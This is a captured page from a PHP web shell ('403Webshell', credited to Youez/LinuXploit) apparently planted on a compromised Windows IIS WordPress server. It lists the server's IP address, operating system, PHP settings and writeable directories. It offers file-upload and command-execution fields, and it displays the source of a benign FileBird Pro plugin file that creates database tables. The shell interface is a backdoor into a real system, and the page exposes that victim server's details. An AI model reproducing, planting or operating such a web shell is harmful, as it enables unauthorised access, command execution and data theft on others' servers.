403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.109
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/filebird-pro/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/filebird-pro/includes/Install.php
<?php
namespace FileBird;

defined( 'ABSPATH' ) || exit;

class Install {
	public static function create_tables() {
		global $wpdb;

        require_once ABSPATH . 'wp-admin/includes/upgrade.php';

		$charset_collate = $wpdb->get_charset_collate();

		$table_fbv = $wpdb->prefix . 'fbv';
		//type == 0: folder
		//type == 1: collection
		if ( $wpdb->get_var( "show tables like '{$wpdb->prefix}fbv'" ) != $table_fbv ) {
			$sql = 'CREATE TABLE ' . $table_fbv . ' (
            `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
            `name` varchar(250) NOT NULL,
            `parent` int(11) NOT NULL DEFAULT 0,
            `type` int(2) NOT NULL DEFAULT 0,
            `ord` int(11) NULL DEFAULT 0,
            `created_by` int(11) NULL DEFAULT 0,
            PRIMARY KEY (id),
            UNIQUE KEY `id` (id)) ' . $charset_collate . ';';
			dbDelta( $sql );
		}

		$table = $wpdb->prefix . 'fbv_attachment_folder';
		//type == 0: folder
		//type == 1: collection
		if ( $wpdb->get_var( "show tables like '{$wpdb->prefix}fbv_attachment_folder'" ) != $table ) {
			$sql = 'CREATE TABLE ' . $table . ' (
            `folder_id` int(11) unsigned NOT NULL,
            `attachment_id` bigint(20) unsigned NOT NULL,
            PRIMARY KEY( `folder_id`, `attachment_id`)
            )' . $charset_collate . ';';
			dbDelta( $sql );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit